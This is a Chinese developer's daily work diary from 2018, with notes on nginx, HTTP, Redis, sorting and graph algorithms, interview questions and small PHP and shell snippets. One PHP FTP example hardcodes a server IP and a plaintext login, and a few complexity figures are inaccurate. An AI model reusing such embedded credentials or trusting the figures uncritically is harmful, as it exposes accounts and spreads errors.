2.Poll是監控資源是否可用,輪詢整個文件描述符集合,例如在多個socket鏈接創建後,能夠知道哪些鏈接發了請求,與select比不會清空文件描述符
3.Epoll只會查詢被內核IO事件喚醒的集合,只有發生IO的socket會調用callback函數
4.文件描述符,一切皆文件網絡是文件鍵盤是文件,像寫文件那樣傳輸網絡數據,經過/proc/的文件看到進程的資源使用狀況
5.
==========================================================================
2018年11月13日 記錄:
File upload error - unable to create a temporary file
設置upload_tmp_dir="/temp" 而後重啓環境就能夠了,若是還不行就去看看文件夾的權限是否有權限,賦予寫入權限就行了
nginx的請求處理:
1.worker進程中有個函數,無限循環,不斷處理收到的客戶端請求,並進行處理
2.系統提供的事件處理機制(select/epoll/kqueue)
3.接收數據,初始化HTTP Request ,處理請求頭請求體
4.讀取配置文件進行處理階段,location rewrite filter等
5.產生響應發送給客戶端
php調用這個庫的應該都是短連接,而後這樣是否也會發生切換過程當中,數據寫到老庫,沒有同步到新庫的狀況
短連接是不會發生這種狀況
==========================================================================
2018年11月12日 記錄:
Nginx 的特色:
1.處理靜態文件
2.反向代理加速
3.fastCGI,簡單的負載均衡和容錯
4.模塊化的結構
5.分階段資源分配技術,使得它的 CPU 與內存佔用率很是低,保持 10,000 個沒有活動的鏈接,它只佔 2.5M 內存
6.支持內核 Poll 模型,能經受高負載的考驗,有報告代表能支持高達 50,000 個併發鏈接數
7.採用 master-slave 模型,可以充分利用 SMP 的優點,且可以減小工做進程在磁盤 I/O 的阻塞延遲。當採用 select()/poll() 調用時,還能夠限制每一個進程的鏈接數
8.強大的 Upstream 與 Filter 鏈,有點像 Unix 的管道
9.採用了一些 os 提供的最新特性如對 sendfile (Linux2.2+),accept-filter (FreeBSD4.1+),TCP_DEFER_ACCEPT (Linux 2.4+)的支持
Nginx 架構:
1.默認採用多進程後臺模式啓動,能夠手動配置成單進程前臺模式用於調試,進程數通常和cpu內核數相同,太多進程會致使競爭cpu資源,帶來沒必要要的上下文切換
2.發送kill -HUP pid的信號給master進程,master進程會重新加載配置文件,啓動新的worker進程,退出老的worker進程,也是-s reload所作的
3.在master進程創建好須要listen的 socket,而後fork出子進程,子進程搶accept_mutex的互斥鎖,搶到的子進程進行 accept處理
4.每一個子進程採用異步非阻塞事件處理, select/poll/epoll/kqueue的系統調用,設置超時時間,當事件沒準備好時,放到 epoll 裏面,事件準備好了,咱們就去讀寫,當讀寫返回 EAGAIN(再試一次)時,咱們將它再次加入到 epoll 裏面,線程仍是隻有一個,在請求間進行不斷的循環切換,這裏的切換沒有代價,只要內存夠大就行
5.apache那種簡單的多線程,每一個請求會獨佔一個工做線程,當併發數上到幾千時,就同時有幾千的線程在處理請求佔用內存大,線程間上下文切換佔用的cpu開銷大
6.事件處理一般包含,網絡信號(異步非阻塞),信號,定時器(放在一顆維護定時器的紅黑樹裏面)
nginx的connection
1.主進程監聽端口建立socket,fork出子進程,子進程互斥鎖競爭accept新的鏈接,三次握手創建鏈接之後,異步非阻塞讀寫事件處理,nginx或客戶端主動關掉鏈接
2.每一個進程都有鏈接數的限制,ulimit -n,超過期建立socket會失敗
3.nginx能創建的最大鏈接數 worker_鏈接數*worker_進程數;做爲反向代理時則爲worker_鏈接數*worker_進程數 /2 ,nginx也要請求另外的處理服務佔用一個鏈接
4.利用accept_mutex鎖來平衡每一個worker進程的鏈接數
nginx與keepalive
1.http1.0和http1.1都支持長鏈接,默認1.0是關閉的,1.1是打開的
2.http1.0須要指定Connection:keep-alive表示使用長鏈接,響應頭中會包含content-length,客戶端依據這個長度表示接收完成,不然會一直接收數據
3.http1.1不須要指定connection,響應頭中Transfer-encoding 爲 chunked則會是流式傳輸,每塊會包含當前塊的長度;若是非chunked則要有content-length,不然會一直接收直到服務端主動斷開
4.keepalive_timeout 來配置超時時間,若是爲0則會直接關閉,默認65秒
1.手寫票通常咱們叫作「普通發票」,機打票叫作「增值稅普通發票」,發票須要去稅務局買
2.增值稅專用發票,能夠進行稅款抵扣,須要提供企業名稱,納稅人識別號,地址,電話,開戶銀行,開戶帳號
3.增值稅普通發票提供納稅人識別號,企業擡頭
==========================================================================
2018年11月9日 記錄:
自動回覆的主題亂碼:
1.原信的主題沒有指定編碼
2.多是qq郵箱的問題
100萬個URL如何找到出現頻率最高的前100個:
1.放到數組裏面,key是url,value是出現次數,排序
2.hash code 版本,hash和url關聯起來
3.數據庫實現法,僞哈希索引
==========================================================================
2018年11月8日 記錄:
企郵webmail的跳轉部分
企郵web讀取阿里雲雙讀上線
獲得等N位爲1其它位爲0的數,可用1左移N位即得
獲得等N位爲0其它位爲1的數,用前數位反一下即得
修改指定狀態位爲0,a&=~(1<<29)
修改指定狀態位爲1,a|=1<<29
beyound compare比較
http://www.94afx.com/a/diannaoruanjian/beyondcompare4.html
==========================================================================
2018年11月7日 記錄:
HTTP message:HTTP報文,客戶端服務器請求響應模型,是經過HTTP 報文的格式化數據塊進行的
HTTP method:HTTP方法
GET:客戶端向服務器請求獲取資源
POST:客戶端發送數據到服務端
PUT:客戶端將數據存儲到服務器中去
DELETE:從服務端刪除命名資源
HEAD:客戶端獲取命名資源的HTTP頭信息
HTTP/應用層==>TCP/傳輸層==>IP/網絡層
HTTP/0.9 ==> HTTP/1.0 ==> HTTP/1.0+ ==>HTTP/1.1 ==> HTTP/2.0
web的結構組件:
1.代理:位於客戶端和服務器之間,接收全部請求並轉發給服務器
2.緩存:代理緩存或web緩存,下一次請求是緩存提供的服務
3.網關(gateway):將HTTP協議轉成其餘協議的服務,例如:HTTP/FTP HTTP轉到PHP-FPM
4.隧道(tunnel):在HTTP鏈接上轉發非HTTP協議的數據,例如:HTTP/SSL 在HTTP鏈接上傳輸SSL數據
==========================================================================
2018年11月6日 記錄:
HTTP鏈接管理:
1.HTTP如何使用TCP鏈接的
2.TCP鏈接的時延,瓶頸,存在的障礙
3.HTTP的優化,並行鏈接,keep-alive,管道鏈接
4.HTTP就是HTTP over TCP over IP,HTTPS是HTTP和TCP之間插入放入TLS或者SSL
5.保持TCP鏈接的正確運行,四個值<源ip地址,源端口,目的ip,目的端口
6.HTTP時間線,請求=>DNS查詢=>響應=>請求=>服務器處理=>響應=>關閉
7.TCP性能點:TCP鏈接創建握手(花費50%時間);
TCP延遲確認算法(佔第二);
TIME_WAIT時延和端口耗盡(記錄最近所關閉鏈接的IP地址和端口號,2MSL一般2分鐘)
TCP慢啓動擁塞控制;數據彙集的Nagle算法;
HTTP首部(head頭信息)
1.通用首部:Date
通用緩存首部(Cache-Control)
2.請求首部:Accept
條件請求首部(if-),安全請求首部(Authorization)
3.響應首部:Server
4.實體首部(用於主體部分的首部):content-type:
5.擴展首部:非標準的,本身定義的
PHP的腳本執行仍是會通過編譯環節, 只不過它們通常會在運行的時候實時進行編譯
1.啓動PHP及Zend引擎, 加載註冊的擴展模塊
2.讀取腳本文件,Zend引擎對腳本文件進行詞法分析,語法分析。
3.編譯成opcode執行
阿里雲讀取附件部分的雙讀改造
測試外發限制部分,有24分鐘的緩存時間,php -i|grep "gc_maxlifetime" 1440秒
route add -net 100.118.0.0/16 gw 172.16.228.1 添加網絡
==========================================================================
2018年11月5日 記錄:
1.長連接和短連接的優缺點
2.tcp爲啥是四次揮手
3.數據庫的幾大索引,聯合索引的最左原則,btree和二叉樹的區別
4.redis的底層數據類型,list,set
5.nginx的負載均衡策略,select和epoll的區別
6.統計日誌中IP訪問量前十的
7.PHP的執行過程opcode,生命週期
8.array函數shift和unshift的區別
9.手寫算法順時針矩陣橫豎斜求和相等算法
10.手寫二分查找算法
11.設計滴滴發單搶單查看訂單系統,日活200w,redis掛了怎麼辦
12.設計銷售BD系統,釘釘考勤簽到功能實現,分級審覈等功能
13.設計通用審覈流的系統,請假啊 財務啊 之類的功能
14.rpc系統
15.http協議裏面的499
100:客戶端應該繼續發送請求,表示服務器已經接受到了,繼續請求
101:理解了客戶端請求,並經過Upgrade消息頭通知客戶端採用新協議通信,服務器發完後會切換到新協議
102:由webdav(rfc2518)擴展的狀態碼,表明處理將被繼續執行
201:請求已經被實現,新的資源已經創建,uri隨location頭信息返回
202:服務器已經接受請求,可是不知道結果,異步的時候使用
203:成功處理可是返回的實體頭部元信息不是原始服務器上的有效集合
204:成功處理,不返回實體,返回更新了的元信息
205:和204差很少,要求請求者重置文檔
4xx系列的錯誤碼是和客戶端有關的
nginx自定義的狀態碼:
495, https certificate error
496, https no certificate
497, http to https
498, canceled
499, client has closed connection是客戶端等到超時主動關掉的
1.分表的方式,是橫向仍是縱向,是以用戶來分,仍是以時間或者商家。 或者多維度,多維度的狀況下,如何進行表數據之間的同步
2.查詢訂單,確定是要有必定的時間限制,好比最近3個月的,其餘的以必定的時間規則歸檔,查詢時候是進入另外的數據表查詢,無法查所有
3.緩存MEMCACHE 使用原子性操做add,實現併發鎖
4.遇到大的問題,那麼就縮小範圍,限制住他的思路
==========================================================================
2018年11月2日 記錄:
下午請假
==========================================================================
2018年11月1日 記錄:
nginx切換改造項目,https測試支持問題改造
1.訪問http://mail.sina.net
強制跳轉問題
資源路徑問題
頁面內連接問題
安卓問題:
客戶端現有問題是,修改密碼後還會調用登錄接口,沒有正常提示文本信息,退出也退出不了
==========================================================================
2018年10月31日 記錄:
流媒體服務器(Nginx+rtmp)
docker下安裝寶塔面板更安全
存儲服務器-雲盤
分佈式文件系統
應用服務器
web服務器
數據庫平臺
反垃圾的網關服務
日誌服務器-天天發送一次,各web服務器的syslog-ng
1.二叉查找樹中的結點是2-結點(一個鍵兩條鏈),引入3-結點(兩個鍵三條鏈),即成2-3樹;而後將2-3樹中3-結點分解,即成紅黑樹,故結合二叉查找樹易查找和2-3樹易插入的特色,便成了紅黑二叉查找樹,簡稱紅黑樹。
2.B樹每個結點能夠有幾個到幾千個孩子,下降樹的高度,減小磁盤io,頂部幾層被反覆查詢存在內存中,剩餘的存在磁盤中
3.含n個結點的b樹高度也是lgn,分支因子大,高度小不少,
==========================================================================
2018年10月30日 記錄:
明天導一下應該修改密碼的列表
排序算法:
非線性比較類:
交換排序
冒泡:平均O(n^2),最壞O(n^2) 最好O(n) 空間O(1) 穩定
快速:平均O(nlogn),最壞O(n^2),平均O(nlogn),空間O(nlogn) 不穩定
插入排序
插入:平均O(n^2),最壞O(n^2) 最好O(n) 空間O(1) 穩定
希爾:平均O(n^1.3),最壞O(n^2),最好O(n),空間O(1) 不穩定
選擇排序
選擇:平均O(n^2),最壞O(n^2),最好O(n^2),空間O(1) 不穩定
堆 :平均O(nlogn),最壞O(nlogn),平均O(nlogn),空間O(1) 不穩定
歸併排序
二路歸併:平均O(nlogn),最壞O(nlogn),平均O(nlogn),空間O(1) 穩定
多路歸併
線性非比較類:
計數:平均O(n+k),最壞O(n+k),最好O(n+k),空間O(n+k) 穩定
桶:平均O(n+k),最壞O(n^2),最好O(n),空間O(n+k) 穩定
基數:平均O(n*k),最壞O(n*k),最好O(n*k),空間O(n+k) 穩定
穩定:原來a在b前面,a=b,排序後a任然在b前面 冒泡,插入,歸併,計數,桶,基數
不穩定:a=b,排序前a在b前面,排序後可能在後面,快速,希爾,選擇,堆
冒泡:
1.比較相鄰元素,從第一個開始較大的逐漸日後移動,後面是全部已經排好序的了
2.for{for{}},arr[j]>arr[j+1]
選擇:
1.兩層循環,假定第一層循環的i元素是最小值,
2.內層循環找出比i還小的元素,交換下他們
1.按位& | ~ ^ 與或非 異或
2.&與運算 0&0=0 1&0=0 1&1=1
3.fgetss函數的bug,遇到<會把後面的全部內容都替換成空白
4.rpm -q dpkg -L 兩個查詢包命令的
==========================================================================
2018年10月29日 記錄:
Redis Cluster的架構圖:REmote DIctionary Server。
1.全部的redis節點彼此互聯(PING-PONG機制)
2.節點的fail是經過集羣中超過半數的節點檢測失效時才生效
3.客戶端與redis節點直連,不須要中間proxy層
4.redis-cluster把全部的物理節點映射到[0-16383]slot上(哈希槽)
Redis分佈式鎖:不一樣的進程必須以獨佔資源的方式實現資源共享
https://github.com/ronnylt/redlock-php/
1.社區給了個redlock鎖的實現類
2.最低實現就是獨享,無死鎖,容錯
3.當前時間,隨機值,依次嘗試的實現
Redis與其餘key-value存儲有什麼不一樣?
1.複雜的數據結構而且提供對他們的原子性操做
2.運行在內存中可是能夠持久化到磁盤
3.鍵值對越多開銷越大,放到一個key裏就小不少
4.採用多個Redis節點經過客戶端Hash的辦法解決了大數據集分配的問題
5.訪問MySQL的數據只能經過主鍵(ID) 。執行查詢操做時,經過Redis讀取數據;使用redis的數據結構建立二級索引
分佈式理解:
1.一個須要巨大資源的計算分紅小的部分,分配給多臺獨立的服務器,計算結果綜合後獲得最終結果
2.分佈式網絡存儲技術是將數據分散的存儲於多臺獨立的機器設備上
順時針打印矩陣:
1.行數和列數取出來row,col,圈數就是 (較小值-1)/2+1
2.外層循環控制圈數,內層四個for循環,i
3.第一個for循環,從左到右,j=i;j<col-i;j++;j<; arr[i][j]
4.第二個for循環,從上到下,k=i+1;k<row-i;k++; arr[k][col-1-i]
5.第三個循環,從右到左,m=col-2-i;m>=i&&row-1-i!=i;m-- arr[row-1-i][m]//row-1-i!=i單行的時候只打印一次
6.第四個循環,從下到上,n=row-2-i;n>=i&&col-1-i!=i;n-- arr[n][i]
編譯原理-有限自動機:
不肯定的有限自動機(NFA),一種數學模型;肯定的有限自動機(DFA),是NFA的特殊狀況
==========================================================================
2018年10月26日 記錄:
根據企郵被禁用的發垃圾的帳號,查詢它們最近7天的海外SMTP登陸IP(排除中國大陸和港澳臺以及查詢失敗的),
共45077個海外IP,已經所有查封。被查封的IP進行企郵SMTP/POP/IMAP登陸均會失敗。
彙編語言中有一種移位指令叫作循環左移(ROL),如今有個簡單的任務,就是用字符串模擬這個指令的運算結果。對於一個給定的字符序列S,請你把其循環左移K位後的序列輸出。例如,字符序列S=」abcXYZdef」,要求輸出循環左移3位後的結果,即「XYZdefabc」。是否是很簡單?OK,搞定它!
1.字符串翻轉,前n位取模長度,abc翻轉成cba 後面的翻轉成fedXYX ,而後再統一翻轉 XYZdefabc
2.第二種思路,字符串複製一份拼接在一塊兒,截取從n開始到len長度的子字符串,n也是要取模
當有一天我看到一棵奇怪的樹,第一反應是想拍下來給你看,我就知道大事很差了。
HRBP(HR BUSINESS PARTNER)
Electron使用 JavaScript, HTML 和 CSS 構建跨平臺的桌面應用
==========================================================================
2018年10月25日 記錄:
MYSQL隨機提取一條記錄:SELECT * FROM tablename ORDER BY RAND() LIMIT 1。
經常使用的解決思路:
1.暴力窮舉(遞歸,回溯),n個數的全排列,八皇后問題
2.分治法(分而治之,而後歸併),空間換時間(活用哈希表)
3.選擇合適的數據結構,尋找最小的k個數(堆代替數組)
4.若是題目容許排序,優先排序,已經排好序的能夠考慮二分
5.不改變隊列順序的貪心和動態規劃
1.回溯法,按照深度優先的原則從根結點出發搜索解空間樹,老是先判斷該結點是否確定不包含問題的解,若是確定不包含,則跳過該結點爲根的子樹搜索,逐層向其祖先結點回溯,求問題的全部解時,要回溯到根,且根結點的全部子樹都已被搜索才結束
2.用for循環+遞歸方式求解
for循環套在外層,表示遍歷數組的第i個數字;內層遞歸表示結果list裏的第i個數字
==========================================================================
2018年10月24日 記錄:
先後端分離的驗證碼問題
1.生成驗證碼的數字存mememchache,key是惟一id 返給前端
2.驗證時,前端帶着id來 查找對應的驗證碼申訴自
1.回溯法(探索與回溯法)是一種選優搜索法,又稱爲試探法,按選優條件向前搜索,以達到目標,原先選擇並不優或達不到目標,就退回一步從新選擇
2.回溯法從根節點開始按深度優先搜索策略造成的樹稱爲狀態空間樹
==========================================================================
2018年10月23日 記錄:
企管調用mic的部分,ip改爲域名的形式
輸入一個字符串,按字典序打印出該字符串中字符的全部排列。例如輸入字符串abc,則打印出由字符a,b,c所能排列出來的全部字符串abc,acb,bac,bca,cab和cba。
思路:
1.利用遞歸造成遞歸樹,達到深度優先,固定首字母的效果
2.得復位之後才能再次深度優先
3.回溯法思想
4.一張圖和一個運行過程,只能慢慢體會了
mysql `updateDate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
插入自動更新當前時間;更新自動更新當前時間
==========================================================================
2018年10月22日 記錄:
咱們能夠用2*1的小矩形橫着或者豎着去覆蓋更大的矩形。請問用n個2*1的小矩形無重疊地覆蓋一個2*n的大矩形,總共有多少種方法?斐波那契數列
1.堆(二叉堆):能夠視爲一棵徹底的二叉樹,除了最底層以外,每一層都是滿的,這使得堆能夠利用數組來表示,每個結點對應數組中的一個元素
2.給出某個結點的下標,能夠計算出父結點的和孩子結點的下標; parent(i)=floor(i/2) left(i)=2i right=2i+1
3.最大堆和最小堆,最大堆:根結點是最大值,最小堆:根結點是最小值
4.堆排序就是把最大堆堆頂的最大數取出,剩餘的堆繼續調整爲最大堆,再次將堆頂的最大數取出,直到剩餘數只有一個結束
5.最大堆調整(維護最大堆,子節點永遠小於父結點) ;建立最大堆(把一個數組調整成最大堆的數組);堆排序(建立最大堆,交換,維護最大堆)
maxHeapify (array,index,heapSize) //最大堆調整
iMax,iLeft,iRight
while true
iMax=index;iLeft=2*index+1;iRight=2*index+2
若是根結點小於左右子樹裏結點值,就交換一下這兩個值
利用第三方變量,交換下兩個值
buildMaxHeap(array) //建立最大堆,把一個數組調整成最大堆的數組
iParent=floor((size-1)/2)
for i=iParent;i>=0;i--
maxHeapify (array,i,size)
sort(arr)
buildMaxHeap(array, heapSize);//建立最大堆
for (int i = heapSize - 1; i > 0; i--) {
swap(array, 0, i); //交換第一個和最後一個
maxHeapify(array, 0, i);//維護最大堆,size小了一個
==========================================================================
2018年10月19日 記錄:
字符串的全排列:
1.輸入一個字符串,輸出字符串中字符的全部排列
2.從集合中依次選出每個元素,做爲排列的第一個元素,而後對剩餘的元素進行全排列,如此遞歸處理
==========================================================================
2018年10月18日 記錄:
判斷一個字符串是不是迴文:
同時從字符串頭尾往中間掃描字符串,若是全部字符都同樣,就是一個迴文
start=0 end=str.size()
while(start<=end){
if str[start]!=str[end]
return false
++start
--end
}
最長迴文字串:
枚舉中心位置
==========================================================================
2018年10月17日 記錄:
account對象存儲在session的memcache中,保存時間是1440秒
==========================================================================
2018年10月16日 記錄:
最長公共子串和最長公共子序列
==========================================================================
2018年10月15日 記錄:
1.字符串翻轉:
1.abcdef 轉成 defabc
2.abc-> cba def->fed
3.cbafed-> defabc
字符串逆序的函數
while($from<$to){
$t=$str[$from];
$str[$from++]=$str[$to];
$str[$to--]=$t;
2.字符串逆序的函數:
第一個字符和最後一個字符調換,第二和倒數第二調換,from++ to--,用一個temp臨時變量,while循環條件from<to
3.字符串的逆序調整:
給定一個字符串str,請在單詞間作逆序調整,舉例:
「pig loves dog」逆序成「dog loves pig」。
1.整個字符串所有逆序 abc def => fed cba
2.遍歷,找到空格分隔,每個單詞再次逆序 dfe abc
4.字符串移位
給定一個字符串str,以及一個整數i.i表明str中的位置,而後將str【0】到str【i】移動到字符的右側,將str【i】到str【n-1】的字符串移動到左側。
就是上面的三步反轉字符串
5.拼接最小字典序
==========================================================================
2018年10月12日 記錄:
==========================================================================
2018年10月11日 記錄:
請實現一個函數,將一個字符串中的每一個空格替換成「%20」。例如,當字符串爲We Are Happy.則通過替換以後的字符串爲We%20Are%20Happy。
==========================================================================
2018年10月10日 記錄:
3.模板重複打印問題,查看生成的php緩存文件,已經出現兩次了,很明顯就是屢次include模板了
4.迪傑克斯拉算法核心,一組包含已經找到最短路徑的頂點,另外一組包含剩餘未肯定最短路徑的頂點,以起始點爲中心向外遍歷直到搜索到終點爲止,窮舉策略
P //最短路徑下標數組
D //各點最短路徑的權值和
求v0到v的最短路徑P[v] 和 帶權長度 D[v]
for v=0;v<G.size;v++
final[v]=0 //未知最短路徑狀態
D[v] = G[v0][v] //與v0點有連線的頂點加上權值
P[v] =0
D[v0]=0 //v0到v0的路徑爲0
final[v0]=1 //v0到v0不須要求路徑
for v=1;v<G.size;v++
min=65535
==========================================================================
2018年10月9日 記錄:
Redis hash 是一個string類型的field和value的映射表,hash特別適合用於存儲對象。
1.hmset clickcout ip "127.0.0.1" product_id "123" time "15234343434"
2.HGETALL clickcout
1.zadd clickcout 205 id_124
2..sort clickcout by id_* limit 0 10 desc
(error) MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.
1.強制關閉redis快照引發的
2.config set stop-writes-on-bgsave-error no
最短路徑問題的實際例子:
1.路程最短,時間最短,換乘最少,實際地圖場景比這些更復雜
2.非網圖能夠理解爲全部邊爲1的網
3.迪傑斯特拉算法是按照路徑長度遞增次序產生最短路徑的算法,並非一會兒就求出v0到v8的最短路徑,而是一步一步求出他們之間頂點的最短路徑
==========================================================================
2018年10月8日 記錄:
同時包含數字、大寫字母、小寫字母、特殊字符中三種組合 70004
連續3位及以上數字不能連號(例如12三、654)70005
連續3位及以上字母不能連續和相同(例如abc、cba aaa) 70006
密碼不包含帳號 70007
長度8到20位 70002
日誌業務的流程:
應用產生日誌→採集→傳輸→按需過濾與轉換→存儲→分析與查看。
2.根據數據的不一樣維度,對數據進行分類、分級。例如:咱們從日誌中區分error、info、和 debug
3.平臺擴展作加減法,咱們在查詢時都增長分佈式緩存,縱向擴展:如增長擴展磁盤和內存。
JavaScript由三部分組成:
1. ECMAScript(核心)做爲核心,它規定了語言的組成部分:語法、類型、語句、關鍵字、保留字、操做符、對象
2. DOM(文檔對象模型)
3. BOM (瀏覽器對象模型)
4. ECMAScript第五個版本 ES6是第六個版本
5. ES6 塊級做用域 關鍵字let, 常量const,對象字面量的屬性賦值簡寫,賦值解構,函數參數 - 默認值、參數打包、 數組展開(Default 、Rest 、Spread),
箭頭函數 Arrow functions,字符串模板 Template strings,Iterators(迭代器)+ for..of,生成器 (Generators),class,Modules,Map + Set + WeakMap + WeakSet,Promises是處理異步操做的對象,Symbol是一種基本類型經過調用symbol函數產生,Symbol是一種基本類型。Symbol 經過調用symbol函數產生
6.wepy小程序開發組件
7.Weex框架可在本地像編寫 web 頁面同樣編寫一個 app 的界面,而後經過命令行工具將之編譯成一段 JavaScript 代碼,生成一個 Weex 的 JS bundle
可以完美兼顧性能與動態性,讓移動開發者經過簡捷的前端語法寫出Native級別的性能體驗,並支持iOS、安卓、YunOS及Web等多端部署。巨坑
從某個源點到其他各頂點的最短路徑問題:
1.人腦是來創造而不是作枯燥複雜的計算的,那些背圓周率的有啥意義
2.迪傑斯特拉算法,思路是:v0,v1,v2,v3,v4,v5
v0到v1到v2 v0到v1到v3 v0到v1到v4 v0到v1到v5 全部可能性都算一遍,取最小的邊
==========================================================================
2018年9月30日 記錄:
1.網圖和非網圖,最短路徑的含義不一樣,非網圖沒有邊上的權值,指兩點之間通過的邊數最少的路徑
2.
明天國慶節
==========================================================================
2018年9月29日 記錄:
is_uploaded_file — 判斷文件是不是經過 HTTP POST 上傳的
若是 filename 所給出的文件是經過 HTTP POST 上傳的則返回 TRUE。這能夠用來確保惡意的用戶沒法欺騙腳本去訪問本不能訪問的文件,例如 /etc/passwd。
普里姆算法:
1.adjvex保存相關頂點的下標
2.lowcost保存相關頂點間邊的權值
3.for i=1;i<G->num;i++ 循環遍歷
lowcost[i]=G->arc[0][i]//將其餘全部頂點與V0頂點的邊的關係權值存數組,key是其餘頂點的下標
adjvex[i]=0 //初始化全部頂點
4.for i=1;i<G->num;i++ 循環遍歷
min=65535
j=1 k=0
while j<G->num //內層循環遍歷
if lowcost[j]!=0 && lowcost[j]<min //與V0點有正確權值,與V0點有聯繫
min=lowcost[j] //與V0點距離最小的值,賦給min
k=j //與V0點距離最小的下標賦給k
j++
注意:adjvex[k]和k此時的值
lowcost[k]=0 //把頂點k入樹
for j=1;j<G->num;j++ //內層循環
if lowcost[j]!=0 && G->arc[k][j] <lowcost[j] //與k結點聯繫的結點距離小於上一個邊
lowcost[j]=G->arc[k][j] //將與k結點距離最小的邊存入lowcost,這是替換了,最開始是與V0的距離,如今成了與k的距離
adjvex[j]=k
5.核心就是找這個圖裏面全部點,兩兩之間的最小邊,而且要注意已經訪問過的就不要重複了,因此至少兩層循環才能夠
==========================================================================
2018年9月28日 記錄:
最小生成樹:
1.例子在村莊之間架設通訊網絡,村莊之間有不一樣的距離,用最小的成本完成此次任務
2.這是個帶權值的圖,即網結構,所謂最小成本就是n個頂點用n-1條邊,權值和最小
3.連通圖的生成樹是一個極小的連通子圖,足以構成一棵樹的n-1條邊,構造連通圖的最小代價生成樹稱爲最小生成樹
4.兩種經典算法:普里姆算法和克魯斯卡爾算法
==========================================================================
2018年9月27日 記錄:
1.圖的深度優先遍歷相似前序遍歷,圖的廣度優先相似樹的層序遍歷
2.將圖進行變形,根據頂點和邊的關係進行層次劃分,使用隊列來進行遍歷
3.廣度優先遍歷的關鍵點是使用一個隊列來把當前結點的全部下一級關聯點存進去,依次進行
鄰接矩陣的廣度優先遍歷:
BFS(G)
for i=0;i<G->numVertexes;i++
visited[i]=false;//檢測是否訪問過
for i=0;i<G.numVertexes;i++//遍歷頂點
if visited[i]==true break;//訪問過的斷掉
visited[i]=true //當前頂點訪問
InQueue(i) //當前頂點入隊列
while(!QueueEmpty()) //當前隊列不爲空
i=OutQueue() //隊列元素出隊列
for j=0;j<G->numVertexes;j++ //遍歷頂點
if G->arc[i][j]==1 && !visited[j] //當前頂點與其餘頂點存在關係而且未被訪問
visited[j]=true //標記此頂點
InQueue(j) //此頂點入隊列,會排在後面等前面一層的全遍歷完纔會遍歷這個
==========================================================================
2018年9月26日 記錄:
排序算法穩定性:
1.若是Ai = Aj,排序前Ai在Aj以前,排序後Ai還在Aj以前,則稱這種排序算法是穩定的,保證排序先後兩個相等的數的相對順序不變
2.排序算法若是是穩定的,那麼從一個鍵上排序,而後再從另外一個鍵上排序,前一個鍵排序的結果能夠爲後一個鍵排序所用
3.穩定性算法:
冒泡 平均n^2 最好n 最壞n^2
不穩定算法:
選擇 平均n^2
山一程,水一程,身向榆關那畔行,夜深千賬燈。 風一更,雪一更,聒碎鄉心夢不成,故園無此聲
==========================================================================
2018年9月25日 記錄:
圖的鄰接表實現方式:
1.頂點數組,須要存儲指向第一個鄰接點的指針
2.每一個頂點Vi的全部鄰接點構成一個單鏈表,無向圖稱爲頂點Vi的邊表,有向圖稱爲頂點Vi做爲弧尾的出邊表
==========================================================================
2018年9月21日 記錄:
快速排序:
1.基於二分的思想
2.第一個做爲基準數,左右各一個指針,同時掃描,右邊先走,找到比基準數小的停下
左邊再走,找到比基準數大的停下,左右交換
3.當左右相遇的時候,把當前的和基準數調換,遞歸調用
4.快速排序的最差時間複雜度和冒泡排序是同樣的都是O(N2),它的平均時間複雜度爲O(NlogN)
quickSort &arr,left,right
if left>right return
temp=arr[left]
i=left
j=right
while i<j
while arr[j]>=temp && i<j
j--
while arr[i]<=temp && i<j
i++
t=arr[i]
a[i]=arr[j]
a[j]=t;
arr[left]=arr[i]
arr[i]=temp
quickSort(arr,left,i-1)
quickSort(arr,i+1,right)
奧帆中心
八大關 第二海水浴場 海軍博物館 魯迅公園 小青島公園 棧橋
天主教堂→膠澳總督府舊址→江蘇路基督教堂→德國總督府舊址→信號山公園→德國監獄舊址博物館
中國海洋大學(魚山校區)→大學路→魚山路→中山公園→奧帆中心→五四廣場
流清→太清宮→華嚴寺→仰口
深度優先遍歷DFS:
DFSTravserse G
for i=0;i<G.xNum;i++
if !visted[i]
DFS(G,i)
DFS G,i
visted[i]=true
print G.vexs[i]
if G.arc[i][j]==1 && !visited[j]
DFS(G,j)
==========================================================================
2018年9月20日 記錄:
1.php連ftp:
ini_set('display_errors', 'On');
error_reporting(E_ALL);
$connection = ftp_connect('121.43.225.32', 21, 60) OR die('connection failure');
ftp_login($connection, 'ringochan', 'ringochan') OR die('login failure');
ftp_pasv($connection,false);//關鍵
var_dump(ftp_pwd($connection));
var_dump(ftp_nlist($connection, "/"));
ftp_close($connection);
2.linux ftp客戶端
open 121.43.225.32
ls
put /home/ubuntu/taoshihan.txt snow.wolf2.txt
get snow.wolf2.txt a.txt
PORT模式:當數據傳輸時,客戶端創建套接字接聽。綁定port中的端口。服務器中使用的端口是20;
PASV模式:當數據傳輸時,服務端創建套接字接聽。客戶端去鏈接pasv中指定的端口。這時候服務器端用的端口不是20,而是pasv中的端口。
3.php7.0中的錯誤日誌的配置
/etc/php/7.0/cli/php.ini
圖的物理存儲的實現:
鄰接矩陣 鄰接鏈表 十字鏈表 鄰接多重表
有向圖的存儲方法:十字鏈表
無向圖存儲的優化:鄰接多重表
圖的遍歷:
1.從圖中某一頂點出發訪遍圖中其他頂點,且使每一個頂點僅被訪問一次
2.須要給訪問過的頂點打上標記,設置個數組visited[n],訪問事後設置爲1
3.遍歷次序:深度優先遍歷和廣度優先遍歷
深度優先遍歷DFS:
1.相似走迷宮右手定則,走一個作標記,一直往右走,直到重複了,就退回上一個頂點
2.從某個頂點v出發訪問和v有路徑相通的頂點,遞歸調用
==========================================================================
2018年9月19日 記錄:
pdo獲取受影響的行數:
$stmt=$pdo->prepare($sql);
$bool=$stmt->execute();
$rowCount=$stmt->rowCount();
個人187測試機的adminlog地址:
/mnt/entmail/ent_pent/appdev.sinanet.com/adminlog/
線上是:
/mnt/email_vol/ent_pent/sunway-logistics.sinanet.com/adminlog
cat 2018.log |awk -F '\t' '{print $6}'|while read msg;do base64 -d ;done|grep pame
curl模擬header:
curl -H "Host: www.baidu.com" -H "User-Agent: PostmanRuntime/6.4.1" "https://www.baidu.com" -v
鄰接矩陣實現圖的建立:
1.for i=0;i<G->xlength;i++
for j=0;j<G->ylength;j++
G->arc[i][j]='權'
2.圖的存儲,數組與鏈表相結合的方法稱爲鄰接表
2.1圖中的頂點用一維數組存儲
2.2頂點Vi的全部鄰接點構成一個線性表
